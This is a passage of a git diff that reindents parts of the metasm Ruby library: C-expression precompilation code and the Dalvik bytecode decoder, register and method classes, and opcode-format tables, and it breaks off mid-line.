Variable.new + var.storage = :register + var.name = compiler.new_label('compoundstatement') + var.type = @type + CExpression.precompile_type(compiler, scope, var) + Declaration.new(var).precompile(compiler, scope) + if @rexpr.statements.last.kind_of? CExpression + @rexpr.statements[-1] = CExpression.new(var, :'=', @rexpr.statements[-1], var.type) + @rexpr.precompile(compiler, scope) + end + @rexpr = var + precompile_inner(compiler, scope) + when ::String + # char[] immediate + v = Variable.new + v.storage = :static + v.name = 'char_' + @rexpr.tr('^a-zA-Z', '')[0, 8] + v.type = Array.new(@type.type) + v.type.length = @rexpr.length + 1 + v.type.type.qualifier = [:const] + v.initializer = CExpression.new(nil, nil, @rexpr, @type) + Declaration.new(v).precompile(compiler, scope) + @rexpr = v + precompile_inner(compiler, scope) + when ::Float + # float immediate + v = Variable.new + v.storage = :static + v.name = @type.untypedef.name.to_s + v.type = @type + v.type.qualifier = [:const] + v.initializer = CExpression.new(nil, nil, @rexpr, @type) + Declaration.new(v).precompile(compiler, scope) + @rexpr = CExpression.new(nil, :'*', v, v.type) + precompile_inner(compiler, scope) + when CExpression + # simplify casts + CExpression.precompile_type(compiler, scope, self) + # propagate type first so that __uint64 foo() { return -1 } => 0xffffffffffffffff + @rexpr.type = @type if @rexpr.kind_of? CExpression and @rexpr.op == :- and not @rexpr.lexpr and @type.kind_of? BaseType and @type.name == :__int64 # XXX kill me + @rexpr = @rexpr.precompile_inner(compiler, scope) + if @type.kind_of? BaseType and @rexpr.type.kind_of? BaseType + if @rexpr.type == @type + # noop cast + @lexpr, @op, @rexpr = @rexpr.lexpr, @rexpr.op, @rexpr.rexpr + elsif not @rexpr.op and @type.integral? and @rexpr.type.integral? + if @rexpr.rexpr.kind_of? ::Numeric and (val = reduce(compiler)).kind_of? ::Numeric + @rexpr = val + elsif compiler.typesize[@type.name] < compiler.typesize[@rexpr.type.name] + # (char)(short)(int)(long)foo => (char)foo + @rexpr = @rexpr.rexpr + end + end + end + self + else + CExpression.precompile_type(compiler, scope, self) + self + end + else + # int+ptr => ptr+int + if @op == :+ and @lexpr and @lexpr.type.integral? and @rexpr.type.pointer? + @rexpr, @lexpr = @lexpr, @rexpr + end + + # handle pointer + 2 == ((char *)pointer) + 2*sizeof(*pointer) + if @rexpr and [:'+', :'+=', :'-', :'-='].include? @op and + @type.pointer? and @rexpr.type.integral? + sz = compiler.sizeof(nil, @type.untypedef.type.untypedef) + if sz != 1 + sz = CExpression.new(nil, nil, sz, @rexpr.type) + @rexpr = CExpression.new(@rexpr, :'*', sz, @rexpr.type) + end + end + + # type promotion => cast + case @op + when :+, :-, :*, :/, :&, :|, :^, :% + if @lexpr + if @lexpr.type != @type + @lexpr = CExpression.new(nil, nil, @lexpr, @lexpr.type) if not @lexpr.kind_of? CExpression + @lexpr = CExpression.new(nil, nil, @lexpr, @type) + end + if @rexpr.type != @type + @rexpr = CExpression.new(nil, nil, @rexpr, @rexpr.type) if not @rexpr.kind_of? CExpression + @rexpr = CExpression.new(nil, nil, @rexpr, @type) + end + end + when :>>, :<< + # char => int + if @lexpr.type != @type + @lexpr = CExpression.new(nil, nil, @lexpr, @lexpr.type) if not @lexpr.kind_of? CExpression + @lexpr = CExpression.new(nil, nil, @lexpr, @type) + end + when :'+=', :'-=', :'*=', :'/=', :'&=', :'|=', :'^=', :'%=' + if @rexpr.type != @lexpr.type + @rexpr = CExpression.new(nil, nil, @rexpr, @rexpr.type) if not @rexpr.kind_of? CExpression + @rexpr = CExpression.new(nil, nil, @rexpr, @type) + end + end + + @lexpr = CExpression.precompile_inner(compiler, scope, @lexpr) + @rexpr = CExpression.precompile_inner(compiler, scope, @rexpr) + + if @op == :'&' and not @lexpr + rr = @rexpr + rr = rr.rexpr while rr.kind_of? CExpression and not rr.op + if rr.kind_of? CExpression and rr.op == :'*' and not rr.lexpr + @lexpr = nil + @op = nil + @rexpr = rr.rexpr + return precompile_inner(compiler, scope) + elsif rr != @rexpr + @rexpr = rr + return precompile_inner(compiler, scope) + end + end + + CExpression.precompile_type(compiler, scope, self) + + isnumeric = lambda { |e_| e_.kind_of?(::Numeric) or (e_.kind_of? CExpression and + not e_.lexpr and not e_.op and e_.rexpr.kind_of? ::Numeric) } + + # calc numeric + # XXX do not simplify operations involving variables (for type overflow etc) + if isnumeric[@rexpr] and (not @lexpr or isnumeric[@lexpr]) and (val = reduce(compiler)).kind_of? ::Numeric + @lexpr = nil + @op = nil + @rexpr = val + end + + self + end + end + end end end diff --git a/lib/metasm/metasm/dalvik/decode.rb b/lib/metasm/metasm/dalvik/decode.rb index 8a7107e0462a1..1b64eb078931d 100644 --- a/lib/metasm/metasm/dalvik/decode.rb +++ b/lib/metasm/metasm/dalvik/decode.rb @@ -8,189 +8,189 @@ module Metasm class Dalvik - def build_bin_lookaside - end + def build_bin_lookaside + end - def decode_findopcode(edata) - return if edata.ptr >= edata.data.length - di = DecodedInstruction.new(self) - di.opcode = opcode_list[edata.decode_imm(:u16, @endianness) & 0xff] - edata.ptr -= 2 - di - end + def decode_findopcode(edata) + return if edata.ptr >= edata.data.length + di = DecodedInstruction.new(self) + di.opcode = opcode_list[edata.decode_imm(:u16, @endianness) & 0xff] + edata.ptr -= 2 + di + end - def decode_instr_op(edata, di) - op = di.opcode - di.instruction.opname = op.name - - val = [edata.decode_imm(:u16, @endianness)] + def decode_instr_op(edata, di) + op = di.opcode + di.instruction.opname = op.name + + val = [edata.decode_imm(:u16, @endianness)] - op.args.each { |a| - di.instruction.args << case a - when :i16 - val << edata.decode_imm(:i16, @endianness) - Expression[val.last] - when :u16 - val << edata.decode_imm(:u16, @endianness) - Expression[val.last] - when :r16 - val << edata.decode_imm(:u16, @endianness) - Reg.new(val.last) - when :i16_32hi - val << edata.decode_imm(:i16, @endianness) - Expression[val.last << 16] - when :i16_64hi - val << edata.decode_imm(:i16, @endianness) - Expression[val.last << 48] - when :i32 - val << edata.decode_imm(:u16, @endianness) - val << edata.decode_imm(:i16, @endianness) - Expression[val[-2] | (val[-1] << 16)] - when :u32 - val << edata.decode_imm(:u16, @endianness) - val << edata.decode_imm(:u16, @endianness) - Expression[val[-2] | (val[-1] << 16)] - when :u64 - val << edata.decode_imm(:u16, @endianness) - val << edata.decode_imm(:u16, @endianness) - val << edata.decode_imm(:u16, @endianness) - val << edata.decode_imm(:u16, @endianness) - Expression[val[-4] | (val[-3] << 16) | (val[-2] << 32) | (val[-1] << 48)] - when :ra - Reg.new((val[0] >> 8) & 0xf) - when :rb - Reg.new((val[0] >> 12) & 0xf) - when :ib - Expression[Expression.make_signed((val[0] >> 12) & 0xf, 4)] - when :raa - Reg.new((val[0] >> 8) & 0xff) - when :iaa - Expression[Expression.make_signed((val[0] >> 8) & 0xff, 8)] - when :rbb - val[1] ||= edata.decode_imm(:u16, @endianness) - Reg.new(val[1] & 0xff) - when :ibb - val[1] ||= edata.decode_imm(:u16, @endianness) - Expression[Expression.make_signed(val[1] & 0xff, 8)] - when :rcc - val[1] ||= edata.decode_imm(:u16, @endianness) - Reg.new((val[1] >> 8) & 0xff) - when :icc - val[1] ||= edata.decode_imm(:u16, @endianness) - Expression[Expression.make_signed((val[1] >> 8) & 0xff, 8)] - when :rlist4, :rlist5 - cnt = (val[0] >> 12) & 0xf - val << edata.decode_imm(:u16, @endianness) - [cnt, 4].min.times { - di.instruction.args << Reg.new(val[-1] & 0xf) - val[-1] >>= 4 - } - di.instruction.args << Reg.new((val[0] >> 8) & 0xf) if cnt > 4 - next - when :rlist16 - cnt = (val[0] >> 8) & 0xff - val << edata.decode_imm(:u16, @endianness) - cnt.times { |c| - di.instruction.args << Reg.new(val[-1] + c) - } - next - when :m16 - val << edata.decode_imm(:u16, @endianness) - Method.new(@dex, val.last) - else raise SyntaxError, "Internal error: invalid argument #{a} in #{op.name}" - end - } + op.args.each { |a| + di.instruction.args << case a + when :i16 + val << edata.decode_imm(:i16, @endianness) + Expression[val.last] + when :u16 + val << edata.decode_imm(:u16, @endianness) + Expression[val.last] + when :r16 + val << edata.decode_imm(:u16, @endianness) + Reg.new(val.last) + when :i16_32hi + val << edata.decode_imm(:i16, @endianness) + Expression[val.last << 16] + when :i16_64hi + val << edata.decode_imm(:i16, @endianness) + Expression[val.last << 48] + when :i32 + val << edata.decode_imm(:u16, @endianness) + val << edata.decode_imm(:i16, @endianness) + Expression[val[-2] | (val[-1] << 16)] + when :u32 + val << edata.decode_imm(:u16, @endianness) + val << edata.decode_imm(:u16, @endianness) + Expression[val[-2] | (val[-1] << 16)] + when :u64 + val << edata.decode_imm(:u16, @endianness) + val << edata.decode_imm(:u16, @endianness) + val << edata.decode_imm(:u16, @endianness) + val << edata.decode_imm(:u16, @endianness) + Expression[val[-4] | (val[-3] << 16) | (val[-2] << 32) | (val[-1] << 48)] + when :ra + Reg.new((val[0] >> 8) & 0xf) + when :rb + Reg.new((val[0] >> 12) & 0xf) + when :ib + Expression[Expression.make_signed((val[0] >> 12) & 0xf, 4)] + when :raa + Reg.new((val[0] >> 8) & 0xff) + when :iaa + Expression[Expression.make_signed((val[0] >> 8) & 0xff, 8)] + when :rbb + val[1] ||= edata.decode_imm(:u16, @endianness) + Reg.new(val[1] & 0xff) + when :ibb + val[1] ||= edata.decode_imm(:u16, @endianness) + Expression[Expression.make_signed(val[1] & 0xff, 8)] + when :rcc + val[1] ||= edata.decode_imm(:u16, @endianness) + Reg.new((val[1] >> 8) & 0xff) + when :icc + val[1] ||= edata.decode_imm(:u16, @endianness) + Expression[Expression.make_signed((val[1] >> 8) & 0xff, 8)] + when :rlist4, :rlist5 + cnt = (val[0] >> 12) & 0xf + val << edata.decode_imm(:u16, @endianness) + [cnt, 4].min.times { + di.instruction.args << Reg.new(val[-1] & 0xf) + val[-1] >>= 4 + } + di.instruction.args << Reg.new((val[0] >> 8) & 0xf) if cnt > 4 + next + when :rlist16 + cnt = (val[0] >> 8) & 0xff + val << edata.decode_imm(:u16, @endianness) + cnt.times { |c| + di.instruction.args << Reg.new(val[-1] + c) + } + next + when :m16 + val << edata.decode_imm(:u16, @endianness) + Method.new(@dex, val.last) + else raise SyntaxError, "Internal error: invalid argument #{a} in #{op.name}" + end + } - di.bin_length = val.length*2 + di.bin_length = val.length*2 - di - end + di + end - def backtrace_binding - @backtrace_binding ||= init_backtrace_binding - end + def backtrace_binding + @backtrace_binding ||= init_backtrace_binding + end - def init_backtrace_binding - @backtrace_binding ||= {} - sz = @size/8 - @opcode_list.each { |op| - case op.name - when /invoke/ - @backtrace_binding[op.name] = lambda { |di, *args| { - :callstack => Expression[:callstack, :-, sz], - Indirection[:callstack, sz] => Expression[di.next_addr] - } } - when /return/ - @backtrace_binding[op.name] = lambda { |di, *args| { - :callstack => Expression[:callstack, :+, sz] - } } - end - } - @backtrace_binding - end + def init_backtrace_binding + @backtrace_binding ||= {} + sz = @size/8 + @opcode_list.each { |op| + case op.name + when /invoke/ + @backtrace_binding[op.name] = lambda { |di, *args| { + :callstack => Expression[:callstack, :-, sz], + Indirection[:callstack, sz] => Expression[di.next_addr] + } } + when /return/ + @backtrace_binding[op.name] = lambda { |di, *args| { + :callstack => Expression[:callstack, :+, sz] + } } + end + } + @backtrace_binding + end - def get_backtrace_binding(di) - a = di.instruction.args.map { |arg| - case arg - when Reg; arg.symbolic - else arg - end - } - - if binding = backtrace_binding[di.opcode.name] - bd = binding[di, *a] - else - puts "unhandled instruction to backtrace: #{di}" if $VERBOSE - # assume nothing except the 1st arg is modified - case a[0] - when Indirection, Symbol; { a[0] => Expression::Unknown } - when Expression; (x = a[0].externals.first) ? { x => Expression::Unknown } : {} - else {} - end.update(:incomplete_binding => Expression[1]) - end + def get_backtrace_binding(di) + a = di.instruction.args.map { |arg| + case arg + when Reg; arg.symbolic + else arg + end + } + + if binding = backtrace_binding[di.opcode.name] + bd = binding[di, *a] + else + puts "unhandled instruction to backtrace: #{di}" if $VERBOSE + # assume nothing except the 1st arg is modified + case a[0] + when Indirection, Symbol; { a[0] => Expression::Unknown } + when Expression; (x = a[0].externals.first) ? { x => Expression::Unknown } : {} + else {} + end.update(:incomplete_binding => Expression[1]) + end - end - - def get_xrefs_x(dasm, di) - if di.opcode.props[:saveip] - m = di.instruction.args.first - if m.kind_of? Method and m.off - [m.off] - else - [:default] - end - elsif di.opcode.props[:setip] - if di.opcode.name =~ /return/ - [Indirection[:callstack, @size/8]] - else - [] # [di.instruction.args.last] - end - else - [] - end - end + end + + def get_xrefs_x(dasm, di) + if di.opcode.props[:saveip] + m = di.instruction.args.first + if m.kind_of? Method and m.off + [m.off] + else + [:default] + end + elsif di.opcode.props[:setip] + if di.opcode.name =~ /return/ + [Indirection[:callstack, @size/8]] + else + [] # [di.instruction.args.last] + end + else + [] + end + end - # returns a DecodedFunction suitable for :default - # uses disassembler_default_bt{for/bind}_callback - def disassembler_default_func - df = DecodedFunction.new - ra = Indirection[:callstack, @size/8] - df.backtracked_for << BacktraceTrace.new(ra, :default, ra, :x, nil) - df.backtrace_binding[:callstack] = Expression[:callstack, :+, @size/8] - df.btfor_callback = lambda { |dasm, btfor, funcaddr, calladdr| - if funcaddr != :default - btfor - elsif di = dasm.decoded[calladdr] and di.opcode.props[:saveip] - btfor - else [] - end - } + # returns a DecodedFunction suitable for :default + # uses disassembler_default_bt{for/bind}_callback + def disassembler_default_func + df = DecodedFunction.new + ra = Indirection[:callstack, @size/8] + df.backtracked_for << BacktraceTrace.new(ra, :default, ra, :x, nil) + df.backtrace_binding[:callstack] = Expression[:callstack, :+, @size/8] + df.btfor_callback = lambda { |dasm, btfor, funcaddr, calladdr| + if funcaddr != :default + btfor + elsif di = dasm.decoded[calladdr] and di.opcode.props[:saveip] + btfor + else [] + end + } - df - end + df + end - def backtrace_is_function_return(expr, di=nil) - expr and Expression[expr] == Expression[Indirection[:callstack, @size/8]] - end + def backtrace_is_function_return(expr, di=nil) + expr and Expression[expr] == Expression[Indirection[:callstack, @size/8]] + end end end diff --git a/lib/metasm/metasm/dalvik/main.rb b/lib/metasm/metasm/dalvik/main.rb index aee229bd3c769..b0a0884ffc00b 100644 --- a/lib/metasm/metasm/dalvik/main.rb +++ b/lib/metasm/metasm/dalvik/main.rb @@ -8,53 +8,53 @@ module Metasm class Dalvik < CPU - class Reg - attr_accessor :i - def initialize(i) - @i = i - end - - def symbolic - "r#@i".to_sym - end - - def to_s - "r#@i" - end - end - - class Method - attr_accessor :dex, :midx, :off - def initialize(dex, midx) - @dex = dex - @midx = midx - if @dex and m = @dex.methods[midx] and c = @dex.classes[m.classidx] and c.data and - me = (c.data.direct_methods+c.data.virtual_methods).find { |mm| mm.method == m } - @off = me.codeoff + me.code.insns_off - end - end - - def to_s - if @dex and m = @dex.methods[@midx] - @dex.types[m.classidx] + '->' + @dex.strings[m.nameidx] - #dex.encoded.inv_export[@off] - else - "method_#@midx" - end - end - end - - def initialize(*args) - super() - @size = args.grep(Integer).first || 32 - @dex = args.grep(ExeFormat).first - @endianness = args.delete(:little) || args.delete(:big) || (@dex ? @dex.endianness : :little) - end - - def init_opcode_list - init_latest - @opcode_list - end + class Reg + attr_accessor :i + def initialize(i) + @i = i + end + + def symbolic + "r#@i".to_sym + end + + def to_s + "r#@i" + end + end + + class Method + attr_accessor :dex, :midx, :off + def initialize(dex, midx) + @dex = dex + @midx = midx + if @dex and m = @dex.methods[midx] and c = @dex.classes[m.classidx] and c.data and + me = (c.data.direct_methods+c.data.virtual_methods).find { |mm| mm.method == m } + @off = me.codeoff + me.code.insns_off + end + end + + def to_s + if @dex and m = @dex.methods[@midx] + @dex.types[m.classidx] + '->' + @dex.strings[m.nameidx] + #dex.encoded.inv_export[@off] + else + "method_#@midx" + end + end + end + + def initialize(*args) + super() + @size = args.grep(Integer).first || 32 + @dex = args.grep(ExeFormat).first + @endianness = args.delete(:little) || args.delete(:big) || (@dex ? @dex.endianness : :little) + end + + def init_opcode_list + init_latest + @opcode_list + end end end diff --git a/lib/metasm/metasm/dalvik/opcodes.rb b/lib/metasm/metasm/dalvik/opcodes.rb index de6f23cb770f1..48b858eec4fda 100644 --- a/lib/metasm/metasm/dalvik/opcodes.rb +++ b/lib/metasm/metasm/dalvik/opcodes.rb @@ -15,7 +15,7 @@ module Metasm class Dalvik - OPCODES = %w[nop move move_from16 move_16 move_wide move_wide_from16 + OPCODES = %w[nop move move_from16 move_16 move_wide move_wide_from16 move_wide_16 move_object move_object_from16 move_object_16 move_result move_result_wide move_result_object move_exception return_void return return_wide return_object @@ -60,307 +60,307 @@ class Dalvik invoke_virtual_quick invoke_virtual_quick_range invoke_super_quick invoke_super_quick_range unused_fc unused_fd unused_fe unused_ff] - def init_dalvik - @valid_props << :canthrow - @valid_args = [:i16, :i16_32hi, :i16_64hi, :i32, :iaa, :ib, :icc, :u16, :u32, :u64, - :r16, :ra, :raa, :rb, :rbb, :rcc, :rlist16, :rlist4, :rlist5, :m16] - @opcode_list = [] + def init_dalvik + @valid_props << :canthrow + @valid_args = [:i16, :i16_32hi, :i16_64hi, :i32, :iaa, :ib, :icc, :u16, :u32, :u64, + :r16, :ra, :raa, :rb, :rbb, :rcc, :rlist16, :rlist4, :rlist5, :m16] + @opcode_list = [] - OPCODES.each_with_index { |n, b| - op = Opcode.new(n, b) - addop_args(op) - addop_props(op) - @opcode_list << op - } + OPCODES.each_with_index { |n, b| + op = Opcode.new(n, b) + addop_args(op) + addop_props(op) + @opcode_list << op + } - raise "Internal error #{@opcode_list.length}" if @opcode_list.length != 256 - end - alias init_latest init_dalvik + raise "Internal error #{@opcode_list.length}" if @opcode_list.length != 256 + end + alias init_latest init_dalvik - def addop_args(op) - fmt = case op.name - when 'goto' + def addop_args(op) + fmt = case op.name + when 'goto' :fmt10t - when 'nop', 'return_void' - :fmt10x - when 'const_4' - :fmt11n - when 'const_high16' - :fmt21h - when 'const_wide_high16' - :fmt21hh - when 'move_result', 'move_result_wide', 'move_result_object', - 'move_exception', 'return', 'return_wide', - 'return_object', 'monitor_enter', 'monitor_exit', - 'throw' - :fmt11x - when 'move', 'move_wide', 'move_object', 'array_length', - 'neg_int', 'not_int', 'neg_long', 'not_long', - 'neg_float', 'neg_double', 'int_to_long', - 'int_to_float', 'int_to_double', 'long_to_int', - 'long_to_float', 'long_to_double', 'float_to_int', - 'float_to_long', 'float_to_double', 'double_to_int', - 'double_to_long', 'double_to_float', 'int_to_byte', - 'int_to_char', 'int_to_short', 'add_int_2addr', - 'sub_int_2addr', 'mul_int_2addr', 'div_int_2addr', - 'rem_int_2addr', 'and_int_2addr', 'or_int_2addr', - 'xor_int_2addr', 'shl_int_2addr', 'shr_int_2addr', - 'ushr_int_2addr', 'add_long_2addr', 'sub_long_2addr', - 'mul_long_2addr', 'div_long_2addr', 'rem_long_2addr', - 'and_long_2addr', 'or_long_2addr', 'xor_long_2addr', - 'shl_long_2addr', 'shr_long_2addr', 'ushr_long_2addr', - 'add_float_2addr', 'sub_float_2addr', 'mul_float_2addr', - 'div_float_2addr', 'rem_float_2addr', - 'add_double_2addr', 'sub_double_2addr', - 'mul_double_2addr', 'div_double_2addr', - 'rem_double_2addr' - :fmt12x - when 'goto_16' - :fmt20t - when 'goto_32' - :fmt30t - when 'const_string', 'const_class', 'check_cast', - 'new_instance', 'sget', 'sget_wide', 'sget_object', - 'sget_boolean', 'sget_byte', 'sget_char', 'sget_short', - 'sput', 'sput_wide', 'sput_object', 'sput_boolean', - 'sput_byte', 'sput_char', 'sput_short' - :fmt21c - when 'const_16', 'const_wide_16' - :fmt21s - when 'if_eqz', 'if_nez', 'if_ltz', 'if_gez', 'if_gtz', 'if_lez' - :fmt21t - when 'fill_array_data', 'packed_switch', 'sparse_switch' - :fmt31t - when 'add_int_lit8', 'rsub_int_lit8', 'mul_int_lit8', - 'div_int_lit8', 'rem_int_lit8', 'and_int_lit8', - 'or_int_lit8', 'xor_int_lit8', 'shl_int_lit8', - 'shr_int_lit8', 'ushr_int_lit8' - :fmt22b - when 'instance_of', 'new_array', 'iget', 'iget_wide', - 'iget_object', 'iget_boolean', 'iget_byte', - 'iget_char', 'iget_short', 'iput', 'iput_wide', - 'iput_object', 'iput_boolean', 'iput_byte', - 'iput_char', 'iput_short' - :fmt22c - when 'add_int_lit16', 'rsub_int', 'mul_int_lit16', - 'div_int_lit16', 'rem_int_lit16', 'and_int_lit16', - 'or_int_lit16', 'xor_int_lit16' - :fmt22s - when 'if_eq', 'if_ne', 'if_lt', 'if_ge', 'if_gt', 'if_le' - :fmt22t - when 'move_from16', 'move_wide_from16', 'move_object_from16' - :fmt22x - when 'cmpl_float', 'cmpg_float', 'cmpl_double', 'cmpg_double', - 'cmp_long', 'aget', 'aget_wide', 'aget_object', - 'aget_boolean', 'aget_byte', 'aget_char', 'aget_short', - 'aput', 'aput_wide', 'aput_object', 'aput_boolean', - 'aput_byte', 'aput_char', 'aput_short', 'add_int', - 'sub_int', 'mul_int', 'div_int', 'rem_int', 'and_int', - 'or_int', 'xor_int', 'shl_int', 'shr_int', 'ushr_int', - 'add_long', 'sub_long', 'mul_long', 'div_long', - 'rem_long', 'and_long', 'or_long', 'xor_long', - 'shl_long', 'shr_long', 'ushr_long', 'add_float', - 'sub_float', 'mul_float', 'div_float', 'rem_float', - 'add_double', 'sub_double', 'mul_double', 'div_double', - 'rem_double' - :fmt23x - when 'const', 'const_wide_32' - :fmt31i - when 'const_string_jumbo' - :fmt31c - when 'move_16', 'move_wide_16', 'move_object_16' - :fmt32x - when 'filled_new_array' - :fmt35ca - when 'invoke_virtual', 'invoke_super', - 'invoke_direct', 'invoke_static', 'invoke_interface' - :fmt35c - when 'filled_new_array_range', 'invoke_virtual_range', - 'invoke_super_range', 'invoke_direct_range', - 'invoke_static_range', 'invoke_interface_range' - :fmt3rc - when 'const_wide' - :fmt51l - when 'throw_verification_error' - :fmt20bc - when 'iget_quick', 'iget_wide_quick', 'iget_object_quick', - 'iput_quick', 'iput_wide_quick', 'iput_object_quick' - :fmt22cs - when 'invoke_virtual_quick', 'invoke_super_quick' - :fmt35ms - when 'invoke_virtual_quick_range', 'invoke_super_quick_range' - :fmt3rms - when 'execute_inline' - :fmt3inline - when 'invoke_direct_empty' - :fmt35c - when 'unused_3e', 'unused_3f', 'unused_40', 'unused_41', - 'unused_42', 'unused_43', 'unused_73', 'unused_79', - 'unused_7a', 'unused_e3', 'unused_e4', 'unused_e5', - 'unused_e6', 'unused_e7', 'unused_e8', 'unused_e9', - 'unused_ea', 'unused_eb', 'unused_ec', 'unused_ef', - 'unused_f1', 'unused_fc', 'unused_fd', 'unused_fe', - 'unused_ff' - :fmtUnknown - else - raise "Internal error #{op.name}" - end + when 'nop', 'return_void' + :fmt10x + when 'const_4' + :fmt11n + when 'const_high16' + :fmt21h + when 'const_wide_high16' + :fmt21hh + when 'move_result', 'move_result_wide', 'move_result_object', + 'move_exception', 'return', 'return_wide', + 'return_object', 'monitor_enter', 'monitor_exit', + 'throw' + :fmt11x + when 'move', 'move_wide', 'move_object', 'array_length', + 'neg_int', 'not_int', 'neg_long', 'not_long', + 'neg_float', 'neg_double', 'int_to_long', + 'int_to_float', 'int_to_double', 'long_to_int', + 'long_to_float', 'long_to_double', 'float_to_int', + 'float_to_long', 'float_to_double', 'double_to_int', + 'double_to_long', 'double_to_float', 'int_to_byte', + 'int_to_char', 'int_to_short', 'add_int_2addr', + 'sub_int_2addr', 'mul_int_2addr', 'div_int_2addr', + 'rem_int_2addr', 'and_int_2addr', 'or_int_2addr', + 'xor_int_2addr', 'shl_int_2addr', 'shr_int_2addr', + 'ushr_int_2addr', 'add_long_2addr', 'sub_long_2addr', + 'mul_long_2addr', 'div_long_2addr', 'rem_long_2addr', + 'and_long_2addr', 'or_long_2addr', 'xor_long_2addr', + 'shl_long_2addr', 'shr_long_2addr', 'ushr_long_2addr', + 'add_float_2addr', 'sub_float_2addr', 'mul_float_2addr', + 'div_float_2addr', 'rem_float_2addr', + 'add_double_2addr', 'sub_double_2addr', + 'mul_double_2addr', 'div_double_2addr', + 'rem_double_2addr' + :fmt12x + when 'goto_16' + :fmt20t + when 'goto_32' + :fmt30t + when 'const_string', 'const_class', 'check_cast', + 'new_instance', 'sget', 'sget_wide', 'sget_object', + 'sget_boolean', 'sget_byte', 'sget_char', 'sget_short', + 'sput', 'sput_wide', 'sput_object', 'sput_boolean', + 'sput_byte', 'sput_char', 'sput_short' + :fmt21c + when 'const_16', 'const_wide_16' + :fmt21s + when 'if_eqz', 'if_nez', 'if_ltz', 'if_gez', 'if_gtz', 'if_lez' + :fmt21t + when 'fill_array_data', 'packed_switch', 'sparse_switch' + :fmt31t + when 'add_int_lit8', 'rsub_int_lit8', 'mul_int_lit8', + 'div_int_lit8', 'rem_int_lit8', 'and_int_lit8', + 'or_int_lit8', 'xor_int_lit8', 'shl_int_lit8', + 'shr_int_lit8', 'ushr_int_lit8' + :fmt22b + when 'instance_of', 'new_array', 'iget', 'iget_wide', + 'iget_object', 'iget_boolean', 'iget_byte', + 'iget_char', 'iget_short', 'iput', 'iput_wide', + 'iput_object', 'iput_boolean', 'iput_byte', + 'iput_char', 'iput_short' + :fmt22c + when 'add_int_lit16', 'rsub_int', 'mul_int_lit16', + 'div_int_lit16', 'rem_int_lit16', 'and_int_lit16', + 'or_int_lit16', 'xor_int_lit16' + :fmt22s + when 'if_eq', 'if_ne', 'if_lt', 'if_ge', 'if_gt', 'if_le' + :fmt22t + when 'move_from16', 'move_wide_from16', 'move_object_from16' + :fmt22x + when 'cmpl_float', 'cmpg_float', 'cmpl_double', 'cmpg_double', + 'cmp_long', 'aget', 'aget_wide', 'aget_object', + 'aget_boolean', 'aget_byte', 'aget_char', 'aget_short', + 'aput', 'aput_wide', 'aput_object', 'aput_boolean', + 'aput_byte', 'aput_char', 'aput_short', 'add_int', + 'sub_int', 'mul_int', 'div_int', 'rem_int', 'and_int', + 'or_int', 'xor_int', 'shl_int', 'shr_int', 'ushr_int', + 'add_long', 'sub_long', 'mul_long', 'div_long', + 'rem_long', 'and_long', 'or_long', 'xor_long', + 'shl_long', 'shr_long', 'ushr_long', 'add_float', + 'sub_float', 'mul_float', 'div_float', 'rem_float', + 'add_double', 'sub_double', 'mul_double', 'div_double', + 'rem_double' + :fmt23x + when 'const', 'const_wide_32' + :fmt31i + when 'const_string_jumbo' + :fmt31c + when 'move_16', 'move_wide_16', 'move_object_16' + :fmt32x + when 'filled_new_array' + :fmt35ca + when 'invoke_virtual', 'invoke_super', + 'invoke_direct', 'invoke_static', 'invoke_interface' + :fmt35c + when 'filled_new_array_range', 'invoke_virtual_range', + 'invoke_super_range', 'invoke_direct_range', + 'invoke_static_range', 'invoke_interface_range' + :fmt3rc + when 'const_wide' + :fmt51l + when 'throw_verification_error' + :fmt20bc + when 'iget_quick', 'iget_wide_quick', 'iget_object_quick', + 'iput_quick', 'iput_wide_quick', 'iput_object_quick' + :fmt22cs + when 'invoke_virtual_quick', 'invoke_super_quick' + :fmt35ms + when 'invoke_virtual_quick_range', 'invoke_super_quick_range' + :fmt3rms + when 'execute_inline' + :fmt3inline + when 'invoke_direct_empty' + :fmt35c + when 'unused_3e', 'unused_3f', 'unused_40', 'unused_41', + 'unused_42', 'unused_43', 'unused_73', 'unused_79', + 'unused_7a', 'unused_e3', 'unused_e4', 'unused_e5', + 'unused_e6', 'unused_e7', 'unused_e8', 'unused_e9', + 'unused_ea', 'unused_eb', 'unused_ec', 'unused_ef', + 'unused_f1', 'unused_fc', 'unused_fd', 'unused_fe', + 'unused_ff' + :fmtUnknown + else + raise "Internal error #{op.name}" + end - case fmt - when :fmt10x; op.args << :iaa - when :fmt12x; op.args << :ra << :rb - when :fmt11n; op.args << :ra << :ib - when :fmt11x; op.args << :raa - when :fmt10t; op.args << :iaa - when :fmt20t; op.args << :i16 - when :fmt20bc; op.args << :iaa << :u16 - when :fmt21c; op.args << :raa << :u16 - when :fmt22x; op.args << :raa << :r16 - when :fmt21s, :fmt21t; op.args << :raa << :i16 - when :fmt21h; op.args << :raa << :i16_32hi - when :fmt21hh; op.args << :raa << :i16_64hi - when :fmt23x; op.args << :raa << :rbb << :rcc - when :fmt22b; op.args << :raa << :rbb << :icc - when :fmt22s, :fmt22t; op.args << :ra << :rb << :i16 - when :fmt22c, :fmt22cs; op.args << :ra << :rb << :u16 - when :fmt30t; op.args << :i32 - when :fmt31t, :fmt31c; op.args << :raa << :u32 - when :fmt32x; op.args << :r16 << :r16 - when :fmt31i; op.args << :raa << :i32 - when :fmt35ca - op.args << :r16 << :rlist5 - when :fmt35c, :fmt35ms - # rlist: - # nr of regs in :ib (max 5) - # regs: :ib.times { reg :i16 & 0xf ; :i16 >>= 4 } - # reg :ra if :ib == 5 - op.args << :m16 << :rlist5 - when :fmt3inline - op.args << :r16 << :rlist4 - when :fmt3rc, :fmt3rms - # rlist = :r16, :r16+1, :r16+2, ..., :r16+:iaa-1 - op.args << :r16 << :rlist16 - when :fmt51l - # u64 = u16 | (u16 << 16) | ... - op.args << :raa << :u64 - when :fmtUnknown - op.args << :iaa - else - raise "Internal error #{fmt.inspect}" - end - end + case fmt + when :fmt10x; op.args << :iaa + when :fmt12x; op.args << :ra << :rb + when :fmt11n; op.args << :ra << :ib + when :fmt11x; op.args << :raa + when :fmt10t; op.args << :iaa + when :fmt20t; op.args << :i16 + when :fmt20bc; op.args << :iaa << :u16 + when :fmt21c; op.args << :raa << :u16 + when :fmt22x; op.args << :raa << :r16 + when :fmt21s, :fmt21t; op.args << :raa << :i16 + when :fmt21h; op.args << :raa << :i16_32hi + when :fmt21hh; op.args << :raa << :i16_64hi + when :fmt23x; op.args << :raa << :rbb << :rcc + when :fmt22b; op.args << :raa << :rbb << :icc + when :fmt22s, :fmt22t; op.args << :ra << :rb << :i16 + when :fmt22c, :fmt22cs; op.args << :ra 